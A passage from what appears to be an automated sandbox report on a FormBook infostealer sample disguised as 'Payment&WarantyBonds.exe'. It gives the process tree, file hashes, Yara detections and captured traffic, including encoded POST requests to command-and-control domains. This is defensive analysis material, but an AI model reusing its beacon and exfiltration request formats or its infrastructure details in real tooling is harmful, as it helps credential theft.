e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50055	34.92.128.59	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:13:32.039005041 CET	448	OUT	GET /33ib/?ZT=AYOfApeu9cghctp2i/KTSy5LkW4tz9x7+arej5d+r0NkQieZykYOddwLhoh5ni50J8Z5WiAS8Adn1ZwJ2laV/jmSd394ohUQohZCg1IJ+kicD56x/bghldI=&mTkD=Gj2Ti2T0g4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.sgland06.online Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Oct 30, 2024 08:13:32.998105049 CET	846	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Oct 2024 07:13:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ouUuSoRynzFb31XBRZ2NbLSS0T1agnkjrQ8iKzVwb2%2FXJVMwe4j1yptinmvoxDWI960JcFPZlCnFdzpt%2Fr6jJDHeebcMa07RucPBdwvXO30T3NJu5Jwyf8UPm%2BgwGEeCvp941JjH4M9fGA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1399&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=468&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50056	152.42.255.48	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:13:38.229788065 CET	713	OUT	POST /jr4j/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.extrime1.shop Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 199 Connection: close Origin: http://www.extrime1.shop Referer: http://www.extrime1.shop/jr4j/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 79 73 76 33 6d 69 6c 79 43 31 33 42 6f 6e 71 4a 30 76 38 74 46 68 50 6c 68 58 65 48 6a 63 6c 6d 44 4b 66 37 47 42 2f 34 79 4e 64 50 57 51 4a 42 79 37 7a 6f 32 51 76 78 6d 2f 38 4f 6e 2b 6d 52 51 51 31 41 73 4d 79 67 78 46 42 38 59 32 4d 66 31 72 73 44 76 67 4e 54 38 6e 78 78 6d 39 36 6e 67 69 64 73 49 42 4b 64 79 63 46 65 57 42 73 76 37 76 37 32 38 78 6e 7a 61 4b 4a 46 71 62 58 64 61 63 6a 61 35 53 4e 2b 61 6a 35 4b 65 6c 58 77 2f 37 6d 6a 64 4d 33 58 50 68 5a 42 4d 49 56 39 58 52 2f 54 75 4a 38 50 69 45 7a 6c 39 36 6b 34 41 2f 76 5a 6f 54 63 73 57 69 66 62 35 6a 55 38 4e 67 3d 3d Data Ascii: ZT=ysv3milyC13BonqJ0v8tFhPlhXeHjclmDKf7GB/4yNdPWQJBy7zo2Qvxm/8On+mRQQ1AsMygxFB8Y2Mf1rsDvgNT8nxxm96ngidsIBKdycFeWBsv7v728xnzaKJFqbXdacja5SN+aj5KelXw/7mjdM3XPhZBMIV9XR/TuJ8PiEzl96k4A/vZoTcsWifb5jU8Ng==
Oct 30, 2024 08:13:39.234744072 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Oct 2024 07:13:39 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50057	152.42.255.48	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:13:40.799501896 CET	733	OUT	POST /jr4j/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.extrime1.shop Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 219 Connection: close Origin: http://www.extrime1.shop Referer: http://www.extrime1.shop/jr4j/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 79 73 76 33 6d 69 6c 79 43 31 33 42 35 33 61 4a 32 4d 55 74 43 42 50 6d 34 6e 65 48 74 38 6c 69 44 4b 44 37 47 46 50 6f 79 2b 35 50 57 31 31 42 31 35 4c 6f 6d 41 76 78 74 66 39 45 34 4f 6d 59 51 51 4a 49 73 4a 53 67 78 46 46 38 59 33 38 66 32 61 73 45 70 67 4e 52 30 48 78 33 72 64 36 6e 67 69 64 73 49 42 32 37 79 63 64 65 57 77 63 76 70 64 54 35 6a 42 6e 77 53 71 4a 46 75 62 57 55 61 63 69 50 35 54 68 55 61 67 52 4b 65 6e 66 77 2f 4a 4f 6b 47 63 33 52 53 52 59 34 4a 36 38 35 65 77 7a 63 76 49 63 55 76 51 43 47 78 63 70 69 52 4f 4f 4f 36 54 34 66 4c 6c 57 76 30 67 70 31 57 6c 74 38 78 48 73 57 49 2f 59 6d 64 72 31 2f 43 2b 32 73 35 37 41 3d Data Ascii: ZT=ysv3milyC13B53aJ2MUtCBPm4neHt8liDKD7GFPoy+5PW11B15LomAvxtf9E4OmYQQJIsJSgxFF8Y38f2asEpgNR0Hx3rd6ngidsIB27ycdeWwcvpdT5jBnwSqJFubWUaciP5ThUagRKenfw/JOkGc3RSRY4J685ewzcvIcUvQCGxcpiROOO6T4fLlWv0gp1Wlt8xHsWI/Ymdr1/C+2s57A=
Oct 30, 2024 08:13:41.790015936 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Oct 2024 07:13:41 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50058	152.42.255.48	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:13:43.354258060 CET	10815	OUT	POST /jr4j/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.extrime1.shop Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10299 Connection: close Origin: http://www.extrime1.shop Referer: http://www.extrime1.shop/jr4j/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 79 73 76 33 6d 69 6c 79 43 31 33 42 35 33 61 4a 32 4d 55 74 43 42 50 6d 34 6e 65 48 74 38 6c 69 44 4b 44 37 47 46 50 6f 79 2b 78 50 58 44 42 42 31 59 4c 6f 30 51 76 78 67 2f 39 48 34 4f 6e 4b 51 55 64 45 73 4a 4f 77 78 48 4e 38 5a 52 6f 66 7a 75 41 45 38 51 4e 52 32 48 78 79 6d 39 36 79 67 69 4e 6f 49 42 47 37 79 63 64 65 57 7a 45 76 35 66 37 35 77 52 6e 7a 61 4b 4a 42 71 62 57 38 61 64 48 30 35 54 6c 75 62 51 78 4b 65 48 76 77 73 71 6d 6b 62 4d 33 54 52 52 59 4a 4a 36 67 32 65 30 53 74 76 49 6f 71 76 58 79 47 37 59 49 35 4b 64 6d 33 6d 6c 77 7a 59 43 36 79 77 53 42 6b 58 47 6c 31 39 30 55 66 63 50 51 77 58 4c 39 33 66 65 61 4d 76 39 76 6e 45 32 6d 6d 73 2b 45 76 5a 69 4a 5a 36 78 34 42 42 4c 73 32 57 6d 74 5a 59 6c 47 6a 52 71 6b 62 41 44 38 4b 69 56 47 6b 50 4d 77 68 4f 65 41 45 36 5a 72 69 68 42 69 62 44 5a 46 45 4f 56 78 78 6f 45 75 41 79 30 2b 34 7a 44 47 32 6e 75 42 44 50 64 61 45 34 59 6c 6f 36 4b 50 47 34 48 36 2f 67 6c 64 30 71 76 52 4b 55 37 4f 6f 54 53 32 56 4a 4b 52 66 47 68 55 [TRUNCATED] Data Ascii: ZT=ysv3milyC13B53aJ2MUtCBPm4neHt8liDKD7GFPoy+xPXDBB1YLo0Qvxg/9H4OnKQUdEsJOwxHN8ZRofzuAE8QNR2Hxym96ygiNoIBG7ycdeWzEv5f75wRnzaKJBqbW8adH05TlubQxKeHvwsqmkbM3TRRYJJ6g2e0StvIoqvXyG7YI5Kdm3mlwzYC6ywSBkXGl190UfcPQwXL93feaMv9vnE2mms+EvZiJZ6x4BBLs2WmtZYlGjRqkbAD8KiVGkPMwhOeAE6ZrihBibDZFEOVxxoEuAy0+4zDG2nuBDPdaE4Ylo6KPG4H6/gld0qvRKU7OoTS2VJKRfGhUKTExlc6pwDOcA1A+jAvjcO0XRl3NKhOFt4RgiW1oiVoHLhFUwS9tL9ENRF1TdyOyfM9Pt8eIXuhcK7ls0wHS2mkd5FfdXcgCJWgwIM9yczmy5Cb7gfWXo47Qw5T1AwktatkkomMZdfMZmIKFcoMCbr33gF8ROsJRmxlJ0ckJTOJiKjc/jjQrtlYoGC0MlnrNOyIRSUL4W0lJnanCxk7QAPdui939ujEPnXR24oJhh4hvLZh1AJBP2/IsBBea5PB2JFXkhUti6cf9YOrTQzaObtkWMDP6BQaxXX1NXoCclfH8si5YhFTAFLAa7kcoVOgUetZ2PiAPDF4fwTyA6w43iYc4mM6bM2Slyf+YF3dIYHqkha2o4zTceozQdHMp/NGC0I8ZhfkSJMUeI6gRFFa8T1qXZCnVcXovsZQJQT1i87p4OhcODqm/ikz7XmP9qMNU/xdK0FCVXyXRaE91tX3h6V0xoCn4qPNGaBrUI5wx6DU7WSBdu7SM/FHk5AdzqGzZ64gAphFBErwgWIkPlYWMCPPVw8UmZbsb0QoEUncJKtWHHAVjhri8vu009tzUFr0NjG7ASneSYZRX3Eva9ab5ZiYEoz2trFX/nxb7C9mOXoCLth7RPCUSxbfsXbnLUkehKBHmciJs4iDXbCFe9hqMeUbvKzjmSYf1nN [TRUNCATED]
Oct 30, 2024 08:13:44.345587969 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Oct 2024 07:13:44 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50059	152.42.255.48	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:13:45.896469116 CET	446	OUT	GET /jr4j/?ZT=/uHXlXwxCWKagG2f+cMqJk/ouEnshdx+b5P4XSvx6MlJZzR/8pbZgxPfuPQh+b7XVC9rmLmVxzweaBtr7+wSxihG8Hktp9qijzhrRRKR+f0leSIT4/3X8Bo=&mTkD=Gj2Ti2T0g4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.extrime1.shop Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Oct 30, 2024 08:13:46.886544943 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Oct 2024 07:13:46 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Target ID:	0
Start time:	03:09:40
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\Payment&WarantyBonds.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Payment&WarantyBonds.exe"
Imagebase:	0x640000
File size:	764'928 bytes
MD5 hash:	A9DA1B42F6AD80EE6085F69E6C25F49B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	03:09:46
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\Payment&WarantyBonds.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Payment&WarantyBonds.exe"
Imagebase:	0x950000
File size:	764'928 bytes
MD5 hash:	A9DA1B42F6AD80EE6085F69E6C25F49B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2063986251.0000000001740000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2062501078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2064136057.00000000021E0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	6
Start time:	03:10:10
Start date:	30/10/2024
Path:	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe"
Imagebase:	0xa00000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4148377228.0000000002EC0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	7
Start time:	03:10:12
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\systeminfo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\systeminfo.exe"
Imagebase:	0xe10000
File size:	76'800 bytes
MD5 hash:	36CCB1FFAFD651F64A22B5DA0A1EA5C5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.4148413603.0000000000B70000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.4148359872.0000000000B20000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.4147225829.0000000000550000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Target ID:	8
Start time:	03:10:25
Start date:	30/10/2024
Path:	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe"
Imagebase:	0xa00000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.4150364860.0000000004A70000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	9
Start time:	03:10:38
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true